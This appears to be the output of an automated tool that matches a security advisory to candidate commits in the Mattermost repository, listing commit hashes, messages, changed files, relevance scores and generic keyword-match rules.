    - -
    Commit message
    - -
      -
    • -
      [MM-59350] Include LDAP vendor errors in Support Packet (#27571)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/support_packet.go - - server/channels/app/support_packet_test.go - - server/einterfaces/ldap.go - - server/einterfaces/mocks/LdapInterface.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Adding Do not disturb and remote user hour warnings (#27138) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a4f2ec744c3693b2cefbfa115fed7d46b9f9a87c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: time
      -
    • - -
    • -
      The commit message references some github issue: 27138
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Adding Do not disturb and remote user hour warnings (#27138) * Adding Do not disturb and remote user hour warnings * Do not show the hour warning on your own DMs * style tweaks * Some fixes * Linter fixes * Updating snapshots * Improving the robustness of this solution * Some improvements on keeping up the hour in the interface * i18n-extract and fix linter errors * Removing colon where is not needed * Removing the time from 6-7 to be shown * Addressing PR Review Comments * Changing the remote user hour icon * Changing back to fill and not outline icon * Addressing PR review comments * Fixing the RHS showing this * Removing unneeded check * Fixing linter error * Update webapp/channels/src/components/advanced_text_editor/do_not_disturb_warning.tsx Co-authored-by: Matthew Birtch <mattbirtch@gmail.com> * Addressing PR review comment * adding consistency to show the DND and Late hours message --------- Co-authored-by: Matthew Birtch <mattbirtch@gmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/advanced_text_editor/advanced_text_editor.tsx - - webapp/channels/src/components/advanced_text_editor/do_not_disturb_warning.tsx - - webapp/channels/src/components/advanced_text_editor/remote_user_hour.tsx - - webapp/channels/src/components/common/svg_images_components/moon_svg.tsx - - webapp/channels/src/i18n/en.json - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channels.ts - - webapp/channels/src/utils/constants.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Updated required role for user report page GET API (#27529) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 40abf8ef66be712742e79ddbb4bff47e61e7c2c7 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: role
      -
    • - -
    • -
      The commit message references some github issue: 27529
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Updated required role for user report page GET API (#27529) * Updated required role for user report page GET API * Updated permission in error message --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/report.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [feat] adding container image scanning (#27624) Expanding on our... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 0df1a62f611a95f61b6ff7dcc06ac67e3e67d390 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: fail
      -
    • - -
    • -
      The commit message references some github issue: 27624
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [feat] adding container image scanning (#27624) Expanding on our ongoing efforts to enhance security, we are integrating container image scanning into the CI pipeline using Wiz.io https://docs.wiz.io/wiz-docs/docs/github-pipeline The policy defined, will be providing internal reports in wiz.io for our teams to review. Will not enforcing CI failure at this point.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/server-ci-artifacts.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58351 Fix showing LHS scrollbar when moving mouse over on chrome... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 43b70e287a1a3621c1d05c90626d9145039c8fc6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27160
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58351 Fix showing LHS scrollbar when moving mouse over on chrome and safari (#27160) * fixing scrollbar not showing when moving mouse over sidebar * making scrollbar hidden by default and keep shown when hover over channel list * updating sidebar_list snapshot
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/sidebar/sidebar_list/__snapshots__/sidebar_list.test.tsx.snap - - webapp/channels/src/components/sidebar/sidebar_list/sidebar_list.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update .server/gitignore to ignore all JSON files under the... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a695a755f6879d633f96aabe0ff9fc9e336c5f72 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    • -
      The commit message references some github issue: 27593
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update .server/gitignore to ignore all JSON files under the directory (#27593)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/.gitignore - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58776 - Change Ancillary Permissions API to POST (#27504) * make... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5d7027a17242f9172056171dff4de01cacdbff08 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      The commit message references some github issue: 27504
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58776 - Change Ancillary Permissions API to POST (#27504) * make /ancillary a post * remove get from client, fix tests * Update permissions.yaml
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - api/v4/source/permissions.yaml - - server/channels/api4/permission.go - - server/public/model/client4.go - - webapp/platform/client/src/client4.ts - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - add hover state to accordions and tweaks styles (#27577) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 485dc64c5f2ac406ec7d05a066a1629693869fe5 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: console
      -
    • - -
    • -
      The commit message references some github issue: 27577
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      add hover state to accordions and tweaks styles (#27577)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/admin_console/workspace-optimization/dashboard.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-57963] Log Name and DisplayName of groups (#26836) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 0e6bfbdd261ef983c69f30ef6d1000c12a1e3726 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 26836
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-57963] Log Name and DisplayName of groups (#26836)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/public/model/builtin.go - - server/public/model/builtin_test.go - - server/public/model/group.go - - server/public/model/group_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-57824: Export/import custom status (#27361)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - db45c0132ee71367d41d11a806c65a7ac1d3c5a4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27361
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-57824: Export/import custom status (#27361) https://mattermost.atlassian.net/browse/MM-57824 ```release-note NONE ``` Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/export.go - - server/channels/app/export_test.go - - server/channels/app/import_functions.go - - server/channels/app/imports/import_types.go - - server/i18n/en.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Orders results of the GetAll remote clusters store method (#27548) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b596430920a3d95ce270b14497de6e6ef918ab46 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27548
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Orders results of the GetAll remote clusters store method (#27548)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/remote_cluster_test.go - - server/channels/store/sqlstore/remote_cluster_store.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add platform information for push notification metrics (#27460) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e5a3dd7fea9684f3f3702f288156b68cea8477a1 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: system
      -
    • - -
    • -
      The commit message references some github issue: 27460
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Add platform information for push notification metrics (#27460) * Add platform information for push notification metrics * Address feedback * Add the client platform returned by the devices to the normalize function * Add "no platform" platform label to distinguish from unknown
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/system.go - - server/channels/app/app_iface.go - - server/channels/app/expirynotify.go - - server/channels/app/notification.go - - server/channels/app/notification_push.go - - server/channels/app/opentracing/opentracing_layer.go - - server/channels/app/post.go - - server/channels/app/post_acknowledgements.go - - server/channels/app/reaction.go - - server/channels/app/web_broadcast_hooks.go - - server/channels/wsapi/system.go - - server/einterfaces/metrics.go - - server/einterfaces/mocks/MetricsInterface.go - - server/enterprise/metrics/metrics.go - - server/public/model/notification.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update Packet metadata generation based on feedback (#27490) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6bbf7bbb9fb0007a731f44025f5cb4caab1251b1 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: time, test, system
      -
    • - -
    • -
      The commit message references some github issue: 27490
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update Packet metadata generation based on feedback (#27490)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/plugin_api.go - - server/public/model/metadata.go - - server/public/model/metadata_test.go - - server/public/model/packet_metadata.go - - server/public/model/packet_metadata_test.go - - server/public/plugin/api.go - - server/public/plugin/api_timer_layer_generated.go - - server/public/plugin/client_rpc_generated.go - - server/public/plugin/plugintest/api.go - - server/public/pluginapi/system.go - - server/public/pluginapi/system_test.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-58686] Adjust text alignment on custom status tooltip (#27353) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 0e6ed3d4902a6183851be64be1b8496d63dc903c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: time
      -
    • - -
    • -
      The commit message references some github issue: 27353
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-58686] Adjust text alignment on custom status tooltip (#27353) * Change: Adjust text alignment on custom status tooltip Change: Update 'Today' expiry time calculation on custom_status_modal * Change: Use display inline-block instead of flex for custom-status class --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/custom_status/custom_status.scss - - webapp/channels/src/components/custom_status/custom_status_emoji.tsx - - webapp/channels/src/components/custom_status/custom_status_modal.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Print panic message when mmctl panics (#27390) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 213ebc57fb09ac0159ea18af0f32d1b1cc1ac9b2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27390
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Print panic message when mmctl panics (#27390)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/cmd/mmctl/commands/root.go - - server/cmd/mmctl/commands/root_test.go - - server/cmd/mmctl/printer/printer.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - chore(api redoc): remove api/redoc-static.html (#27500) The orphaned... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a3c1272cb6f8d96b42f15d22d87fd66bf5393b5c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    • -
      The commit message references some github issue: 27500
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      chore(api redoc): remove api/redoc-static.html (#27500) The orphaned file unexpectedly introduced in the old PR in 2020 can now be removed as it originally is orphaned and not referenced at all. - mattermost/mattermost-api-reference PR 503 Signed-off-by: Takuya Noguchi <takninnovationresearch@gmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - api/redoc-static.html - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-58840] Add routing restrictions (#27482) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d0c4e820a4dbad71273290f80e2ec622586c85ed -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: configuration, console, test, system
      -
    • - -
    • -
      The commit message references some github issue: 27482
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-58840] Add routing restrictions (#27482)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - e2e-tests/cypress/tests/integration/channels/enterprise/system_console/group_configuration_spec.js - - e2e-tests/cypress/tests/integration/channels/enterprise/system_console/team_members_spec.js - - e2e-tests/cypress/tests/integration/channels/system_console/user_management_spec.js - - webapp/channels/src/components/admin_console/admin_definition.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-54416: Channel Bookmarks Web UI (#25889) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f12eb75d256084527bf135640501142fd41ca876 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: connection, console, test, file
      -
    • - -
    • -
      The commit message references some github issue: 25889
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-54416: Channel Bookmarks Web UI (#25889) Co-authored-by: Mattermost Build <build@mattermost.com> Co-authored-by: Elias Nahum <nahumhbl@gmail.com> Co-authored-by: Miguel de la Cruz <miguel@mcrx.me> Co-authored-by: Scott Bishel <scott.bishel@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - e2e-tests/cypress/tests/integration/channels/channel/channel_bookmarks_spec.ts - - webapp/channels/src/actions/channel_actions.ts - - webapp/channels/src/actions/channel_bookmarks.ts - - webapp/channels/src/actions/file_actions.ts - - webapp/channels/src/actions/websocket_actions.jsx - - webapp/channels/src/components/admin_console/license_settings/__snapshots__/license_settings.test.tsx.snap - - webapp/channels/src/components/admin_console/openid_convert/__snapshots__/openid_convert.test.tsx.snap - - webapp/channels/src/components/channel_bookmarks/bookmark_create_modal.scss - - webapp/channels/src/components/channel_bookmarks/bookmark_delete_modal.tsx - - webapp/channels/src/components/channel_bookmarks/bookmark_dot_menu.tsx - - webapp/channels/src/components/channel_bookmarks/bookmark_icon.tsx - - webapp/channels/src/components/channel_bookmarks/bookmark_item.tsx - - webapp/channels/src/components/channel_bookmarks/channel_bookmarks.scss - - webapp/channels/src/components/channel_bookmarks/channel_bookmarks.tsx - - webapp/channels/src/components/channel_bookmarks/channel_bookmarks_create_modal.tsx - - webapp/channels/src/components/channel_bookmarks/channel_bookmarks_plus_menu.tsx - - webapp/channels/src/components/channel_bookmarks/create_modal_name_input.tsx - - webapp/channels/src/components/channel_bookmarks/index.ts - - webapp/channels/src/components/channel_bookmarks/utils.ts - - webapp/channels/src/components/channel_view/__snapshots__/channel_view.test.tsx.snap - - webapp/channels/src/components/channel_view/channel_view.tsx - - webapp/channels/src/components/emoji_picker/components/emoji_picker_custom_emoji_button.tsx - - webapp/channels/src/components/emoji_picker/emoji_picker.tsx - - webapp/channels/src/components/emoji_picker/emoji_picker_overlay/emoji_picker_overlay.tsx - - webapp/channels/src/components/emoji_picker/emoji_picker_tabs.tsx - - webapp/channels/src/components/error_page/__snapshots__/error_link.test.tsx.snap - - webapp/channels/src/components/external_link/__snapshots__/external_link.test.tsx.snap - - webapp/channels/src/components/external_link/index.tsx - - webapp/channels/src/components/file_attachment/__snapshots__/filename_overlay.test.tsx.snap - - webapp/channels/src/components/file_attachment/file_attachment.tsx - - webapp/channels/src/components/file_attachment/file_thumbnail/file_thumbnail.tsx - - webapp/channels/src/components/file_search_results/__snapshots__/file_search_result_item.test.tsx.snap - - webapp/channels/src/components/file_search_results/file_search_result_item.tsx - - webapp/channels/src/components/integrations/__snapshots__/abstract_command.test.tsx.snap - - webapp/channels/src/components/integrations/__snapshots__/abstract_outgoing_webhook.test.tsx.snap - - webapp/channels/src/components/integrations/installed_oauth_apps/__snapshots__/installed_oauth_apps.test.tsx.snap - - webapp/channels/src/components/integrations/installed_outgoing_webhooks/__snapshots__/installed_outgoing_webhooks.test.tsx.snap - - webapp/channels/src/components/integrations/outgoing_oauth_connections/__snapshots__/installed_outgoing_oauth_connections.test.tsx.snap - - webapp/channels/src/components/menu/menu.tsx - - webapp/channels/src/components/plugin_marketplace/marketplace_item/marketplace_item_plugin/__snapshots__/marketplace_item_plugin.test.tsx.snap - - webapp/channels/src/components/post_view/message_attachments/message_attachment/__snapshots__/message_attachment.test.tsx.snap - - webapp/channels/src/components/product_notices_modal/__snapshots__/product_notices.test.tsx.snap - - webapp/channels/src/components/signup/__snapshots__/signup.test.tsx.snap - - webapp/channels/src/components/widgets/inputs/input/input.tsx - - webapp/channels/src/components/widgets/menu/menu_items/menu_item_external_link.test.tsx - - webapp/channels/src/components/youtube_video/__snapshots__/youtube_video.test.tsx.snap - - webapp/channels/src/i18n/en.json - - webapp/channels/src/packages/mattermost-redux/src/action_types/channel_bookmarks.ts - - webapp/channels/src/packages/mattermost-redux/src/action_types/index.ts - - webapp/channels/src/packages/mattermost-redux/src/actions/channel_bookmarks.ts - - webapp/channels/src/packages/mattermost-redux/src/reducers/entities/channel_bookmarks.ts - - webapp/channels/src/packages/mattermost-redux/src/reducers/entities/files.ts - - webapp/channels/src/packages/mattermost-redux/src/reducers/entities/index.ts - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_bookmarks.ts - - webapp/channels/src/packages/mattermost-redux/src/store/initial_state.ts - - webapp/channels/src/utils/constants.tsx - - webapp/channels/src/utils/emoji_utils.tsx - - webapp/channels/src/utils/file_utils.tsx - - webapp/channels/src/utils/markdown/renderer.tsx - - webapp/channels/src/utils/url.tsx - - webapp/platform/client/src/client4.ts - - webapp/platform/types/src/channel_bookmarks.ts - - webapp/platform/types/src/client4.ts - - webapp/platform/types/src/store.ts - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58496 - Updating channel font size (#27445) * MM-58496 - Updating... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a5d263f26ccd1803abbd485bcda70b8bb22ab428 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: size
      -
    • - -
    • -
      The commit message references some github issue: 27445
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58496 - Updating channel font size (#27445) * MM-58496 - Updating channel font size * Updating lineheight
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/sass/components/_post.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58854 Update how Compass icons are referenced by AnnouncementBar ... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 60c5bb46dfa8192efa5a13c746423f0e7696b8bc -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27461, 27488
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58854 Update how Compass icons are referenced by AnnouncementBar (#27461) (#27488) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/advanced_text_editor/advanced_text_editor.scss - - webapp/channels/src/components/announcement_bar/__snapshots__/text_dismissable_bar.test.tsx.snap - - webapp/channels/src/components/announcement_bar/default_announcement_bar/announcement_bar.tsx - - webapp/channels/src/components/announcement_bar/text_dismissable_bar.tsx - - webapp/channels/src/components/status_dropdown/status_dropdown.scss - - webapp/channels/src/sass/components/_announcement-bar.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - make GM merge work - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4f2aacf9d791cfc64443a647d98098cc06623bbe -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: time, test
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      make GM merge work
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/app_iface.go - - server/channels/app/opentracing/opentracing_layer.go - - server/channels/app/user.go - - server/channels/store/opentracinglayer/opentracinglayer.go - - server/channels/store/retrylayer/retrylayer.go - - server/channels/store/sqlstore/channel_store.go - - server/channels/store/store.go - - server/channels/store/storetest/mocks/ChannelStore.go - - server/channels/store/timerlayer/timerlayer.go - - server/public/model/channel.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Remove usage of defaultProps from functional components - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - e3bde41ed77739e13a64a024394a6b1793f890fe -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: time, console, file
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Remove usage of defaultProps from functional components
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/common/back_button.tsx - - webapp/channels/src/components/custom_status/custom_status_text.tsx - - webapp/channels/src/components/custom_status/expiry_time.tsx - - webapp/channels/src/components/emoji/render_emoji.tsx - - webapp/channels/src/components/error_page/error_link.tsx - - webapp/channels/src/components/file_preview_modal/file_preview_modal_main_actions/file_preview_modal_main_actions.tsx - - webapp/channels/src/components/overlay_trigger.tsx - - webapp/channels/src/components/purchase_modal/icon_message.tsx - - webapp/channels/src/components/search/search.tsx - - webapp/channels/src/components/search_bar/search_bar.tsx - - webapp/channels/src/components/search_results/search_results.tsx - - webapp/channels/src/components/sidebar/sidebar_category/sidebar_category.tsx - - webapp/channels/src/components/sidebar/sidebar_category_header.tsx - - webapp/channels/src/components/sidebar/unread_channel_indicator/unread_channel_indicator.tsx - - webapp/channels/src/components/widgets/admin_console/admin_panel_togglable.tsx - - webapp/channels/src/components/widgets/admin_console/admin_panel_with_button.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Force React version to 18 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - f7b12d39c0e0778d72576026136de7f351fc9a1a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Force React version to 18
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/package.json - - webapp/package-lock.json - - webapp/package.json - - webapp/platform/components/package.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update npm packages versions for release-9.11 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
